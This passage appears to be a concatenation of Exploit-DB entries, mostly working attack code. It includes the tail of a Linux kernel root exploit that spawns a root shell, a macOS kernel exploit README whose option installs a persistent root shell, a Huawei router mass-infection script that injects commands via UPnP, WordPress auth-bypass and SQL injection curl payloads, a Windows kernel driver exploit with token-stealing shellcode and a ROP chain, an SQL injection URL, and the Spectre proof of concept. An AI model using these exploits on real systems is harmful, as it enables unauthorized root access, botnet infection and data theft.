		fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
		exit(EXIT_FAILURE);
	}

	char* endptr = &substr[16];
	unsigned long r = strtoul(&substr[0], &endptr, 16);

	r &= 0xfffffffffff00000ul;
	r -= 0x1000000ul;

	return r;
}

unsigned long get_kernel_addr() {
	char* syslog;
	int size;
	mmap_syslog(&syslog, &size);

	if (strcmp("trusty", kernels[kernel].distro) == 0 &&
	    strncmp("4.4.0", kernels[kernel].version, 5) == 0)
		return get_kernel_addr_trusty(syslog, size);
	if (strcmp("xenial", kernels[kernel].distro) == 0 &&
	    strncmp("4.4.0", kernels[kernel].version, 5) == 0 ||
	    strncmp("4.8.0", kernels[kernel].version, 5) == 0)
		return get_kernel_addr_xenial(syslog, size);

	printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
	exit(EXIT_FAILURE);
}

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

struct ubuf_info {
	uint64_t callback;	// void (*callback)(struct ubuf_info *, bool)
	uint64_t ctx;		// void *
	uint64_t desc;		// unsigned long
};

struct skb_shared_info {
	uint8_t nr_frags;	// unsigned char
	uint8_t tx_flags;	// __u8
	uint16_t gso_size;	// unsigned short
	uint16_t gso_segs;	// unsigned short
	uint16_t gso_type;	// unsigned short
	uint64_t frag_list;	// struct sk_buff *
	uint64_t hwtstamps;	// struct skb_shared_hwtstamps
	uint32_t tskey;		// u32
	uint32_t ip6_frag_id;	// __be32
	uint32_t dataref;	// atomic_t
	uint64_t destructor_arg; // void *
	uint8_t frags[16][17];	// skb_frag_t frags[MAX_SKB_FRAGS];
};

struct ubuf_info ui;

void init_skb_buffer(char* buffer, unsigned long func) {
	struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
	memset(ssi, 0, sizeof(*ssi));

	ssi->tx_flags = 0xff;
	ssi->destructor_arg = (uint64_t)&ui;
	ssi->nr_frags = 0;
	ssi->frag_list = 0;

	ui.callback = func;
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define SHINFO_OFFSET 3164

void oob_execute(unsigned long payload) {
	char buffer[4096];
	memset(&buffer[0], 0x42, 4096);
	init_skb_buffer(&buffer[SHINFO_OFFSET], payload);

	int s = socket(PF_INET, SOCK_DGRAM, 0);
	if (s == -1) {
		perror("[-] socket()");
		exit(EXIT_FAILURE);
	}

	struct sockaddr_in addr;
	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(8000);
	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

	if (connect(s, (void*)&addr, sizeof(addr))) {
		perror("[-] connect()");
		exit(EXIT_FAILURE);
	}

	int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
	int rv = send(s, buffer, size, MSG_MORE);
	if (rv != size) {
		perror("[-] send()");
		exit(EXIT_FAILURE);
	}

	int val = 1;
	rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
	if (rv != 0) {
		perror("[-] setsockopt(SO_NO_CHECK)");
		exit(EXIT_FAILURE);
	}

	send(s, buffer, 1, 0);

	close(s);
}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *

#define CHUNK_SIZE 1024

int read_file(const char* file, char* buffer, int max_length) {
	int f = open(file, O_RDONLY);
	if (f == -1)
		return -1;
	int bytes_read = 0;
	while (true) {
		int bytes_to_read = CHUNK_SIZE;
		if (bytes_to_read > max_length - bytes_read)
			bytes_to_read = max_length - bytes_read;
		int rv = read(f, &buffer[bytes_read], bytes_to_read);
		if (rv == -1)
			return -1;
		bytes_read += rv;
		if (rv == 0)
			return bytes_read;
	}
}

#define LSB_RELEASE_LENGTH 1024

void get_distro_codename(char* output, int max_length) {
	char buffer[LSB_RELEASE_LENGTH];
	int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
	if (length == -1) {
		perror("[-] open/read(/etc/lsb-release)");
		exit(EXIT_FAILURE);
	}
	const char *needle = "DISTRIB_CODENAME=";
	int needle_length = strlen(needle);
	char* found = memmem(&buffer[0], length, needle, needle_length);
	if (found == NULL) {
		printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
		exit(EXIT_FAILURE);
	}
	int i;
	for (i = 0; found[needle_length + i] != '\n'; i++) {
		assert(i < max_length);
		assert((found - &buffer[0]) + needle_length + i < length);
		output[i] = found[needle_length + i];
	}
}

void get_kernel_version(char* output, int max_length) {
	struct utsname u;
	int rv = uname(&u);
	if (rv != 0) {
		perror("[-] uname())");
		exit(EXIT_FAILURE);
	}
	assert(strlen(u.release) <= max_length);
	strcpy(&output[0], u.release);
}

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))

#define DISTRO_CODENAME_LENGTH 32
#define KERNEL_VERSION_LENGTH 32

void detect_versions() {
	char codename[DISTRO_CODENAME_LENGTH];
	char version[KERNEL_VERSION_LENGTH];

	get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
	get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);

	int i;
	for (i = 0; i < ARRAY_SIZE(kernels); i++) {
		if (strcmp(&codename[0], kernels[i].distro) == 0 &&
		    strcmp(&version[0], kernels[i].version) == 0) {
			printf("[.] kernel version '%s' detected\n", kernels[i].version);
			kernel = i;
			return;
		}
	}

	printf("[-] kernel version not recognized\n");
	exit(EXIT_FAILURE);
}

#define PROC_CPUINFO_LENGTH 4096

// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
	char buffer[PROC_CPUINFO_LENGTH];
	int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
	if (length == -1) {
		perror("[-] open/read(/proc/cpuinfo)");
		exit(EXIT_FAILURE);
	}
	int rv = 0;
	char* found = memmem(&buffer[0], length, "smep", 4);
	if (found != NULL)
		rv += 1;
	found = memmem(&buffer[0], length, "smap", 4);
	if (found != NULL)
		rv += 2;
	return rv;
}

void check_smep_smap() {
	int rv = smap_smep_enabled();
	if (rv >= 2) {
		printf("[-] SMAP detected, no bypass available\n");
		exit(EXIT_FAILURE);
	}
#if !ENABLE_SMEP_BYPASS
	if (rv >= 1) {
		printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
		exit(EXIT_FAILURE);
	}
#endif
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

static bool write_file(const char* file, const char* what, ...) {
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}

void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();

	if (unshare(CLONE_NEWUSER) != 0) {
		printf("[!] unprivileged user namespaces are not available\n");
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}
	if (unshare(CLONE_NEWNET) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		perror("[-] write_file(/proc/self/set_groups)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
		perror("[-] write_file(/proc/self/uid_map)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		perror("[-] write_file(/proc/self/gid_map)");
		exit(EXIT_FAILURE);
	}

	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		perror("[-] sched_setaffinity()");
		exit(EXIT_FAILURE);
	}

	if (system("/sbin/ifconfig lo mtu 1500") != 0) {
		perror("[-] system(/sbin/ifconfig lo mtu 1500)");
		exit(EXIT_FAILURE);
	}
	if (system("/sbin/ifconfig lo up") != 0) {
		perror("[-] system(/sbin/ifconfig lo up)");
		exit(EXIT_FAILURE);
	}
}

void exec_shell() {
	char* shell = "/bin/bash";
	char* args[] = {shell, "-i", NULL};
	execve(shell, args, NULL);
}

bool is_root() {
	// We can't simple check uid, since we're running inside a namespace
	// with uid set to 0. Try opening /etc/shadow instead.
	int fd = open("/etc/shadow", O_RDONLY);
	if (fd == -1)
		return false;
	close(fd);
	return true;
}

void check_root() {
	printf("[.] checking if we got root\n");
	if (!is_root()) {
		printf("[-] something went wrong =(\n");
		return;
	}
	printf("[+] got r00t ^_^\n");
	exec_shell();
}

int main(int argc, char** argv) {
	printf("[.] starting\n");

	printf("[.] checking distro and kernel versions\n");
	detect_versions();
	printf("[~] done, versions looks good\n");

	printf("[.] checking SMEP and SMAP\n");
	check_smep_smap();
	printf("[~] done, looks good\n");

	printf("[.] setting up namespace sandbox\n");
	setup_sandbox();
	printf("[~] done, namespace sandbox set up\n");

#if ENABLE_KASLR_BYPASS
	printf("[.] KASLR bypass enabled, getting kernel addr\n");
	KERNEL_BASE = get_kernel_addr();
	printf("[~] done, kernel text:   %lx\n", KERNEL_BASE);
#endif

	printf("[.] commit_creds:        %lx\n", COMMIT_CREDS);
	printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);

	unsigned long payload = (unsigned long)&get_root;

#if ENABLE_SMEP_BYPASS
	printf("[.] SMEP bypass enabled, mmapping fake stack\n");
	mmap_stack();
	payload = XCHG_EAX_ESP_RET;
	printf("[~] done, fake stack mmapped\n");
#endif

	printf("[.] executing payload %lx\n", payload);
	oob_execute(payload);
	printf("[~] done, should be root now\n");

	check_root();

	return 0;
}
            
Sources:
https://siguza.github.io/IOHIDeous/
https://github.com/Siguza/IOHIDeous/

IOHIDeous
A macOS kernel exploit based on an IOHIDFamily 0day.

Write-up here: https://siguza.github.io/IOHIDeous/

Notice
The prefetch timing attack I'm using for hid for some reason doesn't work on High Sierra 10.13.2 anymore, and I don't feel like investigating that. Maybe patched, maybe just the consequence of a random change, I neither know nor care. The vuln is still there and my code does both info leak and kernel r/w, just not in the same binary - reason is explained in the write-up. If you want that feature, consider it an exercise for the reader.

Usage
The exploit consists of three parts:

poc panics the kernel to demonstrate the present of a memory corruption, should work on all macOS versions.
leak leaks the kernel slide, could be adapted to other versions but as-is works only on High Sierra.
hid achieves full kernel r/w, tested only on Sierra and High Sierra (up to & including 10.13.1), might work on earlier versions too.
poc and leak need to be run as the user that is currently logged in via the GUI, and they log you out in order to perform the exploit. hid on the other hand, gives you four options for a first argument:

steal requires to be run as root and SIP to be disabled, but leaves you logged in the entire time.
kill requires root and forces a dirty logout by killing WindowServer.
logout if executed as root or the currently logged in user, logs you out via launchctl. Otherwise tries to log you out via AppleScript, and then falls back to wait.
wait simply waits for a logout, shutdown or reboot to occur.
Additionally you can specify a second argument persist. If given, hid will permanently disable SIP and AMFI, and install a root shell in /System/pwned.

leak and hid should be run either via SSH or from a screen session, if you wish to observe their output.

Building
Should all be self-explanatory:

make all
make poc
make leak
make hid
make clean


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43415.zip
            
import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # Your MIPS (SSHD)
rm = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"

class exploit(threading.Thread):
		def __init__ (self, ip):
			threading.Thread.__init__(self)
			self.ip = str(ip).rstrip('\n')
		def run(self):
			try:
				url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
				requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
				print "[SOAP] Attempting to infect " + self.ip
			except Exception as e:
				pass

for ip in ips:
	try:
		n = exploit(ip)
		n.start()
		time.sleep(0.03)
	except:
		pass
            
Exploit Title: Smart Google Code Inserter < 3.5 - Auth Bypass/SQLi
Google Dork: inurl:wp-content/plugins/smart-google-code-inserter/
Date: 26-Nov-17
Exploit Author: Benjamin Lim
Vendor Homepage: http://oturia.com/
Software Link: https://wordpress.org/plugins/smart-google-code-inserter/
Version: 3.4
Tested on: Kali Linux 2.0
CVE : CVE-2018-3810 (Authentication Bypass with resultant XSS)
CVE : CVE-2018-3811 (SQL Injection)


1. Product & Service Introduction:
==================================
Smart Google Code Inserter is a Wordpress plugin that makes it easy to add
Google Analytics tracking code as well as meta tag verification of
Webmaster Tools. As of now, the plugin has been downloaded 34,207 times and
has 9,000+ active installs.

2. Technical Details & Description:
===================================
Authentication Bypass vulnerability in the Smart Google Code Inserter
plugin 3.4 allows unauthenticated attackers to insert arbitrary javascript
or HTML code which runs on all pages served by Wordpress. The
saveGoogleCode() function in smartgooglecode.php does not check if the
current request is made by an authorized user, thus allowing any
unauthenticated user to successfully update the inserted code.

SQL Injection vulnerability, when coupled with the Authentication Bypass
vulnerability in the Smart Google Code Inserter plugin 3.4 allows
unauthenticated attackers to execute SQL queries in the context of the
webserver. The saveGoogleAdWords() function in smartgooglecode.php did not
use prepared statements and did not sanitize the $_POST["oId"] variable
before passing it as input into the SQL query.

3. Proof of Concept (PoC):
==========================

Code Insertion

curl -k -i --raw -X POST -d
"sgcgoogleanalytic=<script>alert("1");</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode"
"http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host:
localhost" -H "Content-Type: application/x-www-form-urlencoded"

SQL Injection

curl -k -i --raw -X POST -d "action=saveadwords&delconf=1&oId[]=1 OR
1=1--&ppccap[]=ex:mywplead&ppcpageid[]=1&ppccode[]=bb&nchkdel1=on" "
http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host:
localhost" -H "Content-Type: application/x-www-form-urlencoded"

4. Mitigation
=============
Update to version 3.5

5. Disclosure Timeline
======================
2017/11/29 Vendor contacted
2017/11/30 Vendor acknowleged and released an update
2018/01/01 Advisory released to the public

6. Credits & Authors:
=====================
Benjamin Lim - [https://limbenjamin.com]
            
"""
Kingsoft Antivirus/Internet Security 9+ Kernel Stack Buffer Overflow Privilege Escalation Vulnerability
Anti-Virus: http://www.kingsoft.co/downloads/kav/KAV100720_ENU_DOWN_331020_10.rar
Internet Security: http://www.kingsoft.co/downloads/kis/kis.rar

Summary:
========

This vulnerability allows local attackers to escalate privileges on vulnerable installations of Kingsoft Internet Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaws exists within the processing of IOCTL 0x80030004 or 0x80030008 by the KWatch3.sys (internet security) kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel stack buffer overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.

Vulnerability Analysis:
=======================

I am only going to detail a single bug since both ioctl handlers are *almost* identical. Inside the KWatch3.sys driver, we can see the following handler code for the first ioctl code (0x80030004)

; jumptable 000117C1 case 0

.text:000117C8 loc_117C8:                                      ; CODE XREF: sub_11790+31
.text:000117C8                                                 
.text:000117C8                 push    ebx                     ; our input buffer size
.text:000117C9                 lea     ecx, [esp+58h+var_40]   ; this is a fixed size stack buffer of 0x40
.text:000117CD                 push    edi                     ; our input buffer
.text:000117CE                 push    ecx                     ; char *
.text:000117CF                 call    strncpy                 ; stack buffer overflow
.text:000117D4                 add     esp, 0Ch
.text:000117D7                 lea     edx, [esp+54h+var_40]
.text:000117DB                 push    edx                     ; char *
.text:000117DC                 mov     [esp+ebx+58h+var_40], 0
.text:000117E1                 call    sub_167B0
.text:000117E6                 pop     edi
.text:000117E7                 mov     esi, eax
.text:000117E9                 pop     esi
.text:000117EA                 pop     ebp
.text:000117EB                 pop     ebx
.text:000117EC                 add     esp, 44h
.text:000117EF                 retn    8

Additional bugs:
~~~~~~~~~~~~~~~~

Out-of-Bounds Read vulnerabilities exist in the following ioctls as well:

- 0x8003001c
- 0x80030020
- 0x80030024
- 0x80030028

There is more, but I gave up. This happens because there are several functions that contain code like this:

.text:000172A0 loc_172A0:                                   ; CODE XREF: sub_17280+29
.text:000172A0                 mov     cx, [eax]            ; @eax is our input buffer
.text:000172A3                 add     eax, 2
.text:000172A6                 test    cx, cx
.text:000172A9                 jnz     short loc_172A0      ; jump if there is no null word

So all we have to do is set our input buffer to contain no null word values. Note that these only trigger a bug check if special pool is enabled and dont look exploitable (no leaking in the output buffer)

Example:
========

c:\Users\Guest\Desktop>whoami
victim\guest

c:\Users\Guest\Desktop>poc.py

        --[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]
                       Steven Seeley (mr_me) of Source Incite

(+) enumerating kernel base address...
(+) found nt base at 0x8147e000
(+) allocating shellcode @ 0x24242424
(+) sending stack overflow...
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

c:\Users\Guest\Desktop>whoami
nt authority\system

c:\Users\Guest\Desktop>

References:
===========

- https://sizzop.github.io/2016/09/13/kernel-hacking-with-hevd-part-5.html
"""
import sys
from ctypes import *
from time import sleep
from ctypes.wintypes import *
import struct
import os
from random import choice

kernel32 = windll.kernel32
ntdll = windll.ntdll

MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0

def get_ioctl():
    return choice([0x80030004, 0x80030008])
    
def alloc_shellcode(base, input_size):
    """ 
    allocates some shellcode
    """
    print "(+) allocating shellcode @ 0x%x" % base
    baseadd = c_int(base)
    size    = c_int(input_size)

    # --[ setup]
    input  = struct.pack("<I", 0x000506f8)      # bypass smep

    # --[ setup]
    input += "\x60"                             # pushad
    input += "\x64\xa1\x24\x01\x00\x00"         # mov eax, fs:[KTHREAD_OFFSET]

    # I have to do it like this because windows is a little special
    # this just gets the EPROCESS. Windows 7 is 0x50, now its 0x80.
    input += "\x8d\x40\x70"                     # lea eax, [eax+0x70];
    input += "\x8b\x40\x10"                     # mov eax, [eax+0x10];
    input += "\x89\xc1"                         # mov ecx, eax (Current _EPROCESS structure)

    # win 10 rs2 x86 TOKEN_OFFSET = 0xfc
    # win 07 sp1 x86 TOKEN_OFFSET = 0xf8
    input += "\x8B\x98\xfc\x00\x00\x00"         # mov ebx, [eax + TOKEN_OFFSET]

    # --[ copy system PID token]
    input += "\xba\x04\x00\x00\x00"             # mov edx, 4 (SYSTEM PID)
    input += "\x8b\x80\xb8\x00\x00\x00"         # mov eax, [eax + FLINK_OFFSET] <-|
    input += "\x2d\xb8\x00\x00\x00"             # sub eax, FLINK_OFFSET           |
    input += "\x39\x90\xb4\x00\x00\x00"         # cmp [eax + PID_OFFSET], edx     |
    input += "\x75\xed"                         # jnz                           ->|

    # win 10 rs2 x86 TOKEN_OFFSET = 0xfc
    # win 07 sp1 x86 TOKEN_OFFSET = 0xf8
    input += "\x8b\x90\xfc\x00\x00\x00"         # mov edx, [eax + TOKEN_OFFSET]
    input += "\x89\x91\xfc\x00\x00\x00"         # mov [ecx + TOKEN_OFFSET], edx

    # --[ recover]
    input += "\x61"                             # popad
    input += "\x83\xc4\x0c"                     # adjust the stack by 0xc
    input += "\x31\xc0"                         # return NTSTATUS = STATUS_SUCCESS
    input += "\xc3"                             # ret

    # filler
    input += "\x43" * (input_size-len(input))
    ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
                                              POINTER(c_int), c_int, c_int]
    dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, 
                                             byref(size), 
                                             MEM_RESERVE|MEM_COMMIT,
                                             PAGE_EXECUTE_READWRITE)
    if dwStatus != STATUS_SUCCESS:
        print "(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
        return False
    written = c_ulong()
    write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
    if write == 0:
        print "(-) Error while writing our input buffer memory: %s" % write
        return False
    return True

def alloc(base, input_size, ip):
    baseadd   = c_int(base)
    size = c_int(input_size)
    input = "\x44" * 0x40                       # offset to ip

    # start rop chain
    input += struct.pack("<I", nt + 0x51976f)   # pop ecx; ret
    input += struct.pack("<I", 0x75757575)      # junk
    input += struct.pack("<I", 0x76767676)      # junk
    input += struct.pack("<I", ip)              # load a ptr to 0x506f8
    input += struct.pack("<I", nt + 0x04664f)   # mov eax, [ecx]; ret
    input += struct.pack("<I", nt + 0x22f2da)   # mov cr4,eax; ret
    input += struct.pack("<I", ip + 0x4)        # &shellcode

    # filler
    input += "\x43" * (input_size-len(input))

    ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
                                              POINTER(c_int), c_int, c_int]
    dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, 
                                             byref(size), 
                                             MEM_RESERVE|MEM_COMMIT,
                                             PAGE_EXECUTE_READWRITE)
    if dwStatus != STATUS_SUCCESS:
        print "(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
        sys.exit()
    written = c_ulong()
    write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
    if write == 0:
        print "(-) error while writing our input buffer memory: %s" % write
        sys.exit()

def we_can_trigger_overflow():
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    IOCTL_VULN    = get_ioctl()
    DEVICE_NAME   = "\\\\.\\KWatch3"
    dwReturn      = c_ulong()
    driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
    ip            = 0x24242424
    
    inputbuffer   = 0x41414141
    inputbuffer_size = 0x60
    outputbuffer_size = 0x1000
    outputbuffer      = 0x20000000
    
    alloc(inputbuffer, inputbuffer_size, ip)
    alloc_shellcode(ip, 0x100)
    alloc(outputbuffer, 0x100, ip)

    IoStatusBlock = c_ulong()
    if driver_handle:
        print "(+) sending stack overflow..."
        dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL_VULN,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )
        return True
    return False

def we_can_leak_the_base():
    """
    Get kernel base address.
    This function uses psapi!EnumDeviceDrivers which is only callable
    from a non-restricted caller (medium integrity or higher). Also the
    assumption is made that the kernel is the first array element returned.
    """
    global nt
    print "(+) enumerating kernel base address..."
    
    c_ulong_array = c_ulong * 1024
    lpImageBase = c_ulong_array()
    szDriver    = c_ulong_array()
    cb = sizeof(lpImageBase)
    lpcbNeeded = c_long()

    res = windll.psapi.EnumDeviceDrivers(byref(lpImageBase),
                                         sizeof(lpImageBase),
                                         byref(lpcbNeeded))
    if not res:
        print "(-) unable to get kernel base: " + FormatError()
        sys.exit(-1)

    # nt is the first one
    nt = lpImageBase[0]

    # find KWatch3, for if it doesnt exist, we can't exploit it now...
    for driver in lpImageBase:
        lpBaseName = create_string_buffer("", MAX_PATH)
        GetDeviceDriverBaseName = windll.psapi.GetDeviceDriverBaseNameA
        GetDeviceDriverBaseName.argtypes = [LPVOID, LPSTR, DWORD]
        if(GetDeviceDriverBaseName(driver, lpBaseName, MAX_PATH)):
            if lpBaseName.value == "KWatch3.sys":
                return True
    return False

def main():
    print "\n\t--[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]"
    print "\t               Steven Seeley (mr_me) of Source Incite\r\n"
        
    if release() != "10" or architecture()[0] != "32bit":
        print "(-) although this exploit may work on this system,"
        print "    it was only designed for Windows 10 x86."
        sys.exit(-1)
        
    if we_can_leak_the_base():
        print "(+) found nt base at 0x%08x" % (nt)
        if we_can_trigger_overflow():
            os.system("cmd.exe")
        else:
            print "(-) it appears that kingsoft Internet Security is not vulnerable!"
            sys.exit(-1)
    else:
        print "(-) it appears that kingsoft Internet Security is not installed!"
        sys.exit(-1)

if __name__ == '__main__':
    main()
            
Title: EMC xDashboard - SQL Injection Vulnerability
Author: Pawel Gocyla
Date: 02 January 2018

CVE: CVE-2017-14960


Affected Software:
==================
EMC xPression v4.5SP1 Patch 13
Probably other versions are also vulnerable.


SQL Injection Vulnerability:
==============================
This vulnerability allows an attacker to retrieve information from the
database

Vulnerable parameter: "$model.jobHistoryId"

Exploit:

True Condition:  https://[victim]:4000/xDashboard/html/jobhistory/
jobDocHistoryList.action?model.jobHistoryId=1736687378927012979202234841133
and 1=1
False Condition: https://[victim]:4000/xDashboard/html/jobhistory/
jobDocHistoryList.action?model.jobHistoryId=1736687378927012979202234841133
and 1=2

Fix:
====
User input which is putted into sql queries should be properly filtred or
sanitized

References:
============
https://www.owasp.org/index.php/SQL_Injection

Contact:
========
pawellgocyla[at]gmail[dot]com
            
/*
EDB Note:
- https://spectreattack.com/
- https://spectreattack.com/spectre.pdf
- https://googleprojectzero.blogspot.co.at/2018/01/reading-privileged-memory-with-side.html
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];

char *secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
    if (x < array1_size) {
        temp &= array2[array1[x] * 512];
    }
}


/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
    static int results[256];
    int tries, i, j, k, mix_i, junk = 0;
    size_t training_x, x;
    register uint64_t time1, time2;
    volatile uint8_t *addr;

    for (i = 0; i < 256; i++)
        results[i] = 0;
    for (tries = 999; tries > 0; tries--) {

        /* Flush array2[256*(0..255)] from cache */
        for (i = 0; i < 256; i++)
            _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
        training_x = tries % array1_size;
        for (j = 29; j >= 0; j--) {
            _mm_clflush(&array1_size);
            for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

            /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
            /* Avoid jumps in case those tip off the branch predictor */
            x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
            x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
            x = training_x ^ (x & (malicious_x ^ training_x));

            /* Call the victim! */
            victim_function(x);
        }

        /* Time reads. Order is lightly mixed up to prevent stride prediction */
        for (i = 0; i < 256; i++) {
            mix_i = ((i * 167) + 13) & 255;
            addr = &array2[mix_i * 512];
            time1 = __rdtscp(&junk); /* READ TIMER */
            junk = *addr; /* MEMORY ACCESS TO TIME */
            time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
            if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
                results[mix_i]++; /* cache hit - add +1 to score for this value */
        }

        /* Locate highest & second-highest results results tallies in j/k */
        j = k = -1;
        for (i = 0; i < 256; i++) {
            if (j < 0 || results[i] >= results[j]) {
                k = j;
                j = i;
            } else if (k < 0 || results[i] >= results[k]) {
                k = i;
            }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
            break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
    }
    results[0] ^= junk; /* use junk so code above won’t get optimized out*/
    value[0] = (uint8_t)j;
    score[0] = results[j];
    value[1] = (uint8_t)k;
    score[1] = results[k];
}

int main(int argc, const char **argv) {
    size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
    int i, score[2], len=40;
    uint8_t value[2];

    for (i = 0; i < sizeof(array2); i++)
        array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
    if (argc == 3) {
        sscanf(argv[1], "%p", (void**)(&malicious_x));
        malicious_x -= (size_t)array1; /* Convert input value into a pointer */
        sscanf(argv[2], "%d", &len);
    }

    printf("Reading %d bytes:\n", len);
    while (--len >= 0) {
        printf("Reading at malicious_x = %p... ", (void*)malicious_x);
        readMemoryByte(malicious_x++, value, score);
        printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
        printf("0x%02X=’%c’ score=%d ", value[0],
               (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
        if (score[1] > 0)
            printf("(second best: 0x%02X score=%d)", value[1], score[1]);
        printf("\n");
    }
    return (0);
}
            
#!/usr/bin/python

import json
import sys
import subprocess
import socket
import os
from time import sleep
from websocket import create_connection

def ubusAuth(host, username, password):
    ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
    req = json.dumps({"jsonrpc":"2.0","method":"call",
        "params":["00000000000000000000000000000000","session","login",
        {"username": username,"password":password}],
